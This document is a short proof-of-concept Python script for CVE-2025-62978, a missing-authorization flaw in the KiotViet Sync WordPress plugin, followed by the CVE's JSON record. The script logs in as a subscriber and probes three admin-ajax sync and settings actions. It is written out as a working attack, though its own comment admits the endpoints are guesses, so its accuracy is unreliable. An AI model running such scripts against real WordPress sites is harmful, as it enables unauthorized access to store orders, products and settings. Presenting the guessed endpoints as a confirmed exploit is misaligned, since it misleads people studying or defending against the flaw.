CVE-2025-62978

import requests import sys # CVE-2025-62978 PoC - KiotViet Sync Broken Access Control # Target: WordPress site with KiotViet Sync plugin <= 1.8.5 target_url = "http://target-wordpress-site.com" # Get authentication cookie (low-privilege user like subscriber) # attacker needs any valid WordPress account session = requests.Session() # Step 1: Login as low-privilege user (subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { "log": "attacker_username", "pwd": "attacker_password" } response = session.post(login_url, data=login_data) # Step 2: Exploit broken access control # Try to access admin-only functions without proper authorization # Example: Access plugin's sync functionality # (Specific endpoints need to be identified based on plugin version) exploit_endpoints = [ f"{target_url}/wp-admin/admin-ajax.php?action=kiotviet_sync_orders", f"{target_url}/wp-admin/admin-ajax.php?action=kiotviet_sync_products", f"{target_url}/wp-admin/admin-ajax.php?action=kiotviet_get_settings" ] for endpoint in exploit_endpoints: response = session.get(endpoint) if response.status_code == 200: print(f"[!] Potential vulnerable endpoint: {endpoint}") print(f"[+] Response: {response.text[:500]}") print("[*] Test completed. Check if unauthorized data access was possible.")

{"cve": {"id": "CVE-2025-62978", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:58.543", "lastModified": "2026-04-27T17:16:39.413", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Kiotviet KiotViet Sync kiotvietsync allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects KiotViet Sync: from n/a through <= 1.8.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/kiotvietsync/vulnerability/wordpress-kiotviet-sync-plugin-1-8-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}